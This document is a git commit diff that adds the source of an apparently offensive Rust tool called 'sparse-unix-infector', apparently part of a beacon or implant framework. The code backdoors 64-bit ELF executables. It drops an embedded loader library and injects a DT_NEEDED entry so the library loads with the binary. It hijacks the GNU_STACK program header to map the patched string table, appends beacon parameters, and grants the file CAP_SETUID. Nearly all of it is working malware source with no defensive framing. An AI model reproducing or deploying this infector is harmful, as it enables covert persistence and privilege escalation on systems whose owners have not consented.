feat: fixed server comp, added ELF inject
I gave up and just put it in a Docker image, it's not as important as the beacons being statically compiled
This commit is contained in:
@@ -1,6 +1,9 @@
|
||||
[package]
|
||||
name = "sparse-infector"
|
||||
edition = "2024"
|
||||
name = "sparse-unix-infector"
|
||||
edition = "2021"
|
||||
version.workspace = true
|
||||
|
||||
[dependencies]
|
||||
libc = "0.2.169"
|
||||
sparse-actions = { version = "2.0.0", path = "../sparse-actions" }
|
||||
errno = "0.3"
|
||||
|
||||
9
sparse-unix-infector/build.rs
Normal file
9
sparse-unix-infector/build.rs
Normal file
@@ -0,0 +1,9 @@
|
||||
fn main() {
|
||||
include!("../build_common.rs");
|
||||
if std::env::var("CARGO_CFG_TARGET_OS").as_deref() == Ok("linux") {
|
||||
let capdir = std::env::var("SPARSE_BUILD_LIBCAP").unwrap();
|
||||
println!("cargo:rustc-link-search=native={capdir}/lib");
|
||||
println!("cargo:rustc-link-lib=static=cap");
|
||||
println!("cargo:rustc-link-lib=static=psx");
|
||||
}
|
||||
}
|
||||
158
sparse-unix-infector/src/elf_types.rs
Normal file
158
sparse-unix-infector/src/elf_types.rs
Normal file
@@ -0,0 +1,158 @@
|
||||
#[derive(Debug)]
|
||||
pub enum ElfIsa {
|
||||
X86,
|
||||
Amd64,
|
||||
}
|
||||
|
||||
impl ElfIsa {
|
||||
fn from_machine(machine: u16) -> Option<Self> {
|
||||
match machine {
|
||||
0x03 => Some(Self::X86),
|
||||
0x3E => Some(Self::Amd64),
|
||||
_ => None,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
#[derive(Clone)]
|
||||
pub struct Elf_Hdr {
|
||||
pub e_ident: [u8; 0x10],
|
||||
pub e_type: u16,
|
||||
pub e_machine: u16,
|
||||
pub e_version: u32,
|
||||
pub rest: Elf_HdrRest,
|
||||
}
|
||||
|
||||
impl Elf_Hdr {
|
||||
pub fn isa(&self) -> Option<ElfIsa> {
|
||||
ElfIsa::from_machine(self.e_machine)
|
||||
}
|
||||
}
|
||||
|
||||
impl std::fmt::Debug for Elf_Hdr {
|
||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||
match ElfIsa::from_machine(self.e_machine) {
|
||||
Some(ElfIsa::X86) => {
|
||||
let hdr = unsafe { self.rest.bit32 };
|
||||
f.debug_struct("Elf_Hdr")
|
||||
.field("e_ident", &&self.e_ident[..])
|
||||
.field("e_type", &self.e_type)
|
||||
.field("e_machine", &self.e_machine)
|
||||
.field("e_version", &self.e_version)
|
||||
.field("e_isa", &ElfIsa::from_machine(self.e_machine))
|
||||
.field("e_entry", &format_args!("0x{:X}", hdr.e_entry))
|
||||
.field("e_phoff", &format_args!("0x{:X}", hdr.e_phoff))
|
||||
.field("e_shoff", &format_args!("0x{:X}", hdr.e_shoff))
|
||||
.field("e_flags", &hdr.e_flags)
|
||||
.field("e_ehsize", &hdr.e_ehsize)
|
||||
.field("e_phentsize", &hdr.e_phentsize)
|
||||
.field("e_phnum", &hdr.e_phnum)
|
||||
.field("e_shentsize", &hdr.e_shentsize)
|
||||
.field("e_shnum", &hdr.e_shnum)
|
||||
.field("e_shstrndx", &hdr.e_shstrndx)
|
||||
.finish()
|
||||
}
|
||||
Some(ElfIsa::Amd64) => {
|
||||
let hdr = unsafe { self.rest.bit64 };
|
||||
f.debug_struct("Elf_Hdr")
|
||||
.field("e_ident", &&self.e_ident[..])
|
||||
.field("e_type", &self.e_type)
|
||||
.field("e_machine", &self.e_machine)
|
||||
.field("e_version", &self.e_version)
|
||||
.field("e_isa", &ElfIsa::from_machine(self.e_machine))
|
||||
.field("e_entry", &format_args!("0x{:X}", hdr.e_entry))
|
||||
.field("e_phoff", &format_args!("0x{:X}", hdr.e_phoff))
|
||||
.field("e_shoff", &format_args!("0x{:X}", hdr.e_shoff))
|
||||
.field("e_flags", &hdr.e_flags)
|
||||
.field("e_ehsize", &hdr.e_ehsize)
|
||||
.field("e_phentsize", &hdr.e_phentsize)
|
||||
.field("e_phnum", &hdr.e_phnum)
|
||||
.field("e_shentsize", &hdr.e_shentsize)
|
||||
.field("e_shnum", &hdr.e_shnum)
|
||||
.field("e_shstrndx", &hdr.e_shstrndx)
|
||||
.finish()
|
||||
}
|
||||
None => f
|
||||
.debug_struct("Elf_Hdr")
|
||||
.field("e_ident", &&self.e_ident[..])
|
||||
.field("e_type", &self.e_type)
|
||||
.field("e_machine", &self.e_machine)
|
||||
.field("e_version", &self.e_version)
|
||||
.field("e_isa", &ElfIsa::from_machine(self.e_machine))
|
||||
.finish(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
#[derive(Copy, Clone)]
|
||||
pub union Elf_HdrRest {
|
||||
pub bit64: Elf_64Hdr,
|
||||
pub bit32: Elf_32Hdr,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
#[derive(Copy, Clone, Debug)]
|
||||
pub struct Elf_64Hdr {
|
||||
pub e_entry: u64,
|
||||
pub e_phoff: u64,
|
||||
pub e_shoff: u64,
|
||||
pub e_flags: u32,
|
||||
pub e_ehsize: u16,
|
||||
pub e_phentsize: u16,
|
||||
pub e_phnum: u16,
|
||||
pub e_shentsize: u16,
|
||||
pub e_shnum: u16,
|
||||
pub e_shstrndx: u16,
|
||||
}
|
||||
|
||||
#[derive(Copy, Clone, Debug)]
|
||||
#[repr(C)]
|
||||
pub struct Elf_32Hdr {
|
||||
pub e_entry: u32,
|
||||
pub e_phoff: u32,
|
||||
pub e_shoff: u32,
|
||||
pub e_flags: u32,
|
||||
pub e_ehsize: u16,
|
||||
pub e_phentsize: u16,
|
||||
pub e_phnum: u16,
|
||||
pub e_shentsize: u16,
|
||||
pub e_shnum: u16,
|
||||
pub e_shstrndx: u16,
|
||||
}
|
||||
|
||||
#[derive(Copy, Clone, Debug)]
|
||||
#[repr(C)]
|
||||
pub struct ProgramHeader_64bit {
|
||||
pub p_type: u32,
|
||||
pub p_flags: u32,
|
||||
pub p_offset: u64,
|
||||
pub p_vaddr: u64,
|
||||
pub p_paddr: u64,
|
||||
pub p_filesz: u64,
|
||||
pub p_memsz: u64,
|
||||
pub p_align: u64,
|
||||
}
|
||||
|
||||
#[derive(Copy, Clone, Debug)]
|
||||
#[repr(C)]
|
||||
pub struct SectionHeader_64bit {
|
||||
pub sh_name: u32,
|
||||
pub sh_type: u32,
|
||||
pub sh_flags: u64,
|
||||
pub sh_addr: u64,
|
||||
pub sh_offset: u64,
|
||||
pub sh_size: u64,
|
||||
pub sh_link: u32,
|
||||
pub sh_info: u32,
|
||||
pub sh_addralign: u64,
|
||||
pub sh_entsize: u64,
|
||||
}
|
||||
|
||||
#[derive(Copy, Clone, Debug)]
|
||||
#[repr(C)]
|
||||
pub struct DTEntry {
|
||||
pub d_tag: u64,
|
||||
pub d_val: u64,
|
||||
}
|
||||
@@ -1,14 +1,345 @@
|
||||
pub fn add(left: u64, right: u64) -> u64 {
|
||||
left + right
|
||||
}
|
||||
use std::{
|
||||
io::{prelude::*, Error, SeekFrom},
|
||||
path::Path,
|
||||
slice,
|
||||
};
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
use sparse_actions::payload_types::Parameters;
|
||||
|
||||
#[test]
|
||||
fn it_works() {
|
||||
let result = add(2, 2);
|
||||
assert_eq!(result, 4);
|
||||
mod elf_types;
|
||||
use elf_types::*;
|
||||
|
||||
#[cfg(not(debug_assertions))]
|
||||
pub const SPARSE_LIBRARY: &'static [u8] = include_bytes!(std::env!("SPARSE_LOADER"));
|
||||
#[cfg(all(debug_assertions, target_os = "linux"))]
|
||||
pub const SPARSE_LIBRARY: &'static [u8] =
|
||||
include_bytes!("../../unix-loader/zig-out/lib/libunix-loader-linux.so");
|
||||
#[cfg(all(debug_assertions, target_os = "freebsd"))]
|
||||
pub const SPARSE_LIBRARY: &'static [u8] =
|
||||
include_bytes!("../../unix-loader/zig-out/lib/libunix-loader-freebsd.so");
|
||||
|
||||
pub fn infect_elf_binary<BP, LP>(
|
||||
binary_path: BP,
|
||||
target_library_path: LP,
|
||||
sparse_parameters: &Parameters,
|
||||
) -> Result<(), Error>
|
||||
where
|
||||
BP: AsRef<Path>,
|
||||
LP: AsRef<Path>,
|
||||
{
|
||||
std::fs::write(&target_library_path, SPARSE_LIBRARY)?;
|
||||
|
||||
let mut binary = std::fs::OpenOptions::new()
|
||||
.read(true)
|
||||
.write(true)
|
||||
.truncate(false)
|
||||
.open(&binary_path)?;
|
||||
|
||||
binary.seek(SeekFrom::End(0))?;
|
||||
let end = binary.stream_position()?;
|
||||
binary.seek(SeekFrom::Start(0))?;
|
||||
|
||||
let mut binary_data = Vec::with_capacity(end as usize);
|
||||
binary.read_to_end(&mut binary_data)?;
|
||||
|
||||
let header: &Elf_Hdr = unsafe { &*(binary_data.as_ptr() as *const Elf_Hdr) };
|
||||
|
||||
let Some(isa) = header.isa() else {
|
||||
panic!("Unknown binary type");
|
||||
};
|
||||
|
||||
if let ElfIsa::Amd64 = isa {
|
||||
infect_64bit_elf_binary(target_library_path, binary, binary_data, sparse_parameters)?;
|
||||
|
||||
#[cfg(target_os = "linux")]
|
||||
{
|
||||
use libc::c_int;
|
||||
|
||||
#[repr(C)]
|
||||
struct CapT {
|
||||
__private: [u8; 0],
|
||||
}
|
||||
|
||||
type CapValue = c_int;
|
||||
|
||||
// cap_flag_t
|
||||
const CAP_EFFECTIVE: u8 = 0;
|
||||
const CAP_PERMITTED: u8 = 1;
|
||||
const CAP_INHERITABLE: u8 = 2;
|
||||
|
||||
// cap_flag_value_t
|
||||
const CAP_SET: u8 = 0;
|
||||
|
||||
extern "C" {
|
||||
fn cap_free(cap: *mut CapT) -> c_int;
|
||||
fn cap_get_file(filename: *const i8) -> *mut CapT;
|
||||
fn cap_set_flag(
|
||||
cap: *mut CapT,
|
||||
cap_flag: u8,
|
||||
count: c_int,
|
||||
cap_flag_value: *const CapValue,
|
||||
cap_flag_value_t: u8,
|
||||
) -> c_int;
|
||||
fn cap_set_file(filename: *const i8, cap: *mut CapT) -> c_int;
|
||||
}
|
||||
|
||||
// CAP_SETUID
|
||||
let cap_list = [7];
|
||||
|
||||
unsafe {
|
||||
let path = std::ffi::CString::new(
|
||||
binary_path
|
||||
.as_ref()
|
||||
.to_str()
|
||||
.expect("could not convert binary path to string"),
|
||||
)
|
||||
.expect("could not convert binary path to string");
|
||||
let current_caps = cap_get_file(path.as_ptr());
|
||||
|
||||
println!(
|
||||
"Result of setting effective caps: {} (errno: {})",
|
||||
cap_set_flag(
|
||||
current_caps,
|
||||
CAP_EFFECTIVE,
|
||||
1,
|
||||
&cap_list[0] as *const _,
|
||||
CAP_SET
|
||||
),
|
||||
errno::errno()
|
||||
);
|
||||
|
||||
println!(
|
||||
"Result of setting permitted caps: {} (errno: {})",
|
||||
cap_set_flag(
|
||||
current_caps,
|
||||
CAP_PERMITTED,
|
||||
1,
|
||||
&cap_list[0] as *const _,
|
||||
CAP_SET
|
||||
),
|
||||
errno::errno()
|
||||
);
|
||||
|
||||
println!(
|
||||
"Result of setting inheritable caps: {} (errno: {})",
|
||||
cap_set_flag(
|
||||
current_caps,
|
||||
CAP_INHERITABLE,
|
||||
1,
|
||||
&cap_list[0] as *const _,
|
||||
CAP_SET
|
||||
),
|
||||
errno::errno()
|
||||
);
|
||||
|
||||
println!(
|
||||
"Result of saving flags: {}, {}",
|
||||
cap_set_file(path.as_ptr(), current_caps),
|
||||
errno::errno()
|
||||
);
|
||||
|
||||
cap_free(current_caps);
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
} else {
|
||||
eprintln!("Sparse is only compiled for 64 bit Linux");
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
fn infect_64bit_elf_binary<LP, F>(
|
||||
library_path: LP,
|
||||
mut binary: F,
|
||||
mut binary_data: Vec<u8>,
|
||||
sparse_parameters: &Parameters,
|
||||
) -> Result<(), Error>
|
||||
where
|
||||
LP: AsRef<Path>,
|
||||
F: Read + Write + Seek,
|
||||
{
|
||||
let Some(library_name) = library_path.as_ref().file_name() else {
|
||||
eprintln!("Library name does not contain a valid file path!");
|
||||
panic!();
|
||||
};
|
||||
|
||||
let header: &mut Elf_Hdr = unsafe { &mut *(binary_data.as_mut_ptr() as *mut Elf_Hdr) };
|
||||
let x64_header = unsafe { &mut header.rest.bit64 };
|
||||
|
||||
let section_headers = unsafe {
|
||||
slice::from_raw_parts_mut::<SectionHeader_64bit>(
|
||||
binary_data.as_mut_ptr().offset(x64_header.e_shoff as isize) as *mut _,
|
||||
x64_header.e_shnum as usize,
|
||||
)
|
||||
};
|
||||
|
||||
let program_headers = unsafe {
|
||||
slice::from_raw_parts_mut::<ProgramHeader_64bit>(
|
||||
binary_data.as_mut_ptr().offset(x64_header.e_phoff as isize) as *mut _,
|
||||
x64_header.e_phnum as usize,
|
||||
)
|
||||
};
|
||||
|
||||
let Some(stack_ph) = program_headers
|
||||
.iter()
|
||||
.position(|ph| ph.p_type == 0x6474e551 /* PT_GNU_STACK */)
|
||||
else {
|
||||
eprintln!("ELF is protected against stack exploitation! Find one that isn't");
|
||||
panic!();
|
||||
};
|
||||
|
||||
let Some(dynamic_sh) = section_headers.iter().find(|sh| sh.sh_type == 0x06) else {
|
||||
eprintln!("ELF is not a dynamic executable!");
|
||||
panic!();
|
||||
};
|
||||
|
||||
let dynamic_offset = dynamic_sh.sh_offset as usize;
|
||||
let dynamic_size = dynamic_sh.sh_size as usize / std::mem::size_of::<DTEntry>();
|
||||
|
||||
let dynamic_sections = unsafe {
|
||||
slice::from_raw_parts_mut::<DTEntry>(
|
||||
binary_data.as_mut_ptr().offset(dynamic_offset as isize) as *mut _,
|
||||
dynamic_size,
|
||||
)
|
||||
};
|
||||
|
||||
let Some(dynstr_addr) = dynamic_sections
|
||||
.iter()
|
||||
.find_map(|dt| Some(dt.d_val).filter(|_| dt.d_tag == 0x05 /* DT_STRTAB */))
|
||||
else {
|
||||
eprintln!("Could not find dynamic strings! (1)");
|
||||
panic!();
|
||||
};
|
||||
|
||||
let Some(dynstr_sh_idx) = section_headers
|
||||
.iter()
|
||||
.position(|sh| sh.sh_addr == dynstr_addr)
|
||||
else {
|
||||
eprintln!("Could not find dynamic strings!");
|
||||
panic!();
|
||||
};
|
||||
|
||||
let dynstr_sh = section_headers[dynstr_sh_idx];
|
||||
|
||||
let dynstr_offset = dynstr_sh.sh_offset as usize;
|
||||
let dynstr_size = dynstr_sh.sh_size as usize;
|
||||
|
||||
let mut dynstr_bytes = binary_data[dynstr_offset..dynstr_offset + dynstr_size].to_vec();
|
||||
|
||||
let lp_pointer = dynstr_bytes.len();
|
||||
dynstr_bytes.extend(library_name.as_encoded_bytes());
|
||||
dynstr_bytes.extend(b"\0");
|
||||
|
||||
let Some(last_record) = dynamic_sections
|
||||
.iter()
|
||||
.position(|dt| dt.d_tag == 0x00 && dt.d_val == 0x00)
|
||||
else {
|
||||
eprintln!("Could not find last dynamic table entry!");
|
||||
panic!();
|
||||
};
|
||||
|
||||
let Some(last_needed_record_pos) = dynamic_sections.iter().position(|dt| dt.d_tag != 0x01)
|
||||
else {
|
||||
eprintln!("Could not find a non dynamic entry in dt");
|
||||
panic!();
|
||||
};
|
||||
|
||||
if last_record == dynamic_sections.len() - 1 {
|
||||
// we need to make a new section and update the global offset table
|
||||
// ...or just crash for now...
|
||||
// eprintln!("lol");
|
||||
eprintln!("Dynamic section is too small!");
|
||||
unimplemented!();
|
||||
} else {
|
||||
for pos in (last_needed_record_pos..=last_record).rev() {
|
||||
dynamic_sections[pos + 1].d_tag = dynamic_sections[pos].d_tag;
|
||||
dynamic_sections[pos + 1].d_val = dynamic_sections[pos].d_val;
|
||||
}
|
||||
|
||||
dynamic_sections[last_needed_record_pos].d_tag = 0x01; // DT_NEEDED
|
||||
dynamic_sections[last_needed_record_pos].d_val = lp_pointer as u64;
|
||||
}
|
||||
|
||||
let curr_len = binary_data.len();
|
||||
let target_pad = curr_len + (0x1000 - (curr_len % 0x1000));
|
||||
let to_pad = target_pad - curr_len;
|
||||
|
||||
binary_data.extend(vec![0u8; to_pad]);
|
||||
|
||||
let dynstr_ptr = binary_data.len();
|
||||
|
||||
println!("{dynstr_ptr:X}");
|
||||
println!("{to_pad:X}");
|
||||
|
||||
binary_data.extend(&dynstr_bytes);
|
||||
|
||||
let header: &mut Elf_Hdr = unsafe { &mut *(binary_data.as_mut_ptr() as *mut Elf_Hdr) };
|
||||
let x64_header = unsafe { &mut header.rest.bit64 };
|
||||
|
||||
let section_headers = unsafe {
|
||||
slice::from_raw_parts_mut::<SectionHeader_64bit>(
|
||||
binary_data.as_mut_ptr().offset(x64_header.e_shoff as isize) as *mut _,
|
||||
x64_header.e_shnum as usize,
|
||||
)
|
||||
};
|
||||
|
||||
let program_headers = unsafe {
|
||||
slice::from_raw_parts_mut::<ProgramHeader_64bit>(
|
||||
binary_data.as_mut_ptr().offset(x64_header.e_phoff as isize) as *mut _,
|
||||
x64_header.e_phnum as usize,
|
||||
)
|
||||
};
|
||||
|
||||
let dynamic_sections = unsafe {
|
||||
slice::from_raw_parts_mut::<DTEntry>(
|
||||
binary_data.as_mut_ptr().offset(dynamic_offset as isize) as *mut _,
|
||||
dynamic_size,
|
||||
)
|
||||
};
|
||||
|
||||
let Some(new_address) = program_headers
|
||||
.iter()
|
||||
.filter_map(|ph| Some(ph.p_vaddr).filter(|_| ph.p_type == 0x1 /* PT_LOAD */))
|
||||
.max()
|
||||
else {
|
||||
eprintln!("Could not find address space to store new symbol strings");
|
||||
panic!();
|
||||
};
|
||||
|
||||
let new_address = new_address + 0x2000 - (new_address % 0x1000);
|
||||
|
||||
let Some(dt_strtab) = dynamic_sections
|
||||
.iter_mut()
|
||||
.find(|dt| dt.d_tag == 0x05 /* DT_STRTAB */)
|
||||
else {
|
||||
eprintln!("Could not find dynamic strings! (1)");
|
||||
panic!();
|
||||
};
|
||||
|
||||
dt_strtab.d_val = new_address as u64;
|
||||
|
||||
section_headers[dynstr_sh_idx].sh_offset = dynstr_ptr as u64;
|
||||
section_headers[dynstr_sh_idx].sh_size = dynstr_bytes.len() as u64;
|
||||
section_headers[dynstr_sh_idx].sh_addr = new_address as u64;
|
||||
|
||||
program_headers[stack_ph].p_type = 0x1; // PT_LOAD
|
||||
program_headers[stack_ph].p_flags = 0x4 | 0x6; // PF_R | PF_W
|
||||
program_headers[stack_ph].p_offset = dynstr_ptr as u64;
|
||||
program_headers[stack_ph].p_vaddr = new_address as u64;
|
||||
program_headers[stack_ph].p_paddr = new_address as u64;
|
||||
program_headers[stack_ph].p_filesz = dynstr_bytes.len() as u64;
|
||||
program_headers[stack_ph].p_memsz = dynstr_bytes.len() as u64;
|
||||
program_headers[stack_ph].p_align = 0x1000;
|
||||
|
||||
binary.seek(SeekFrom::Start(0))?;
|
||||
binary.write(&binary_data)?;
|
||||
|
||||
let param_data = &sparse_parameters as *const _ as *const u8;
|
||||
let param_slice =
|
||||
unsafe { slice::from_raw_parts(param_data, std::mem::size_of::<Parameters>()) };
|
||||
|
||||
binary.write(param_slice)?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user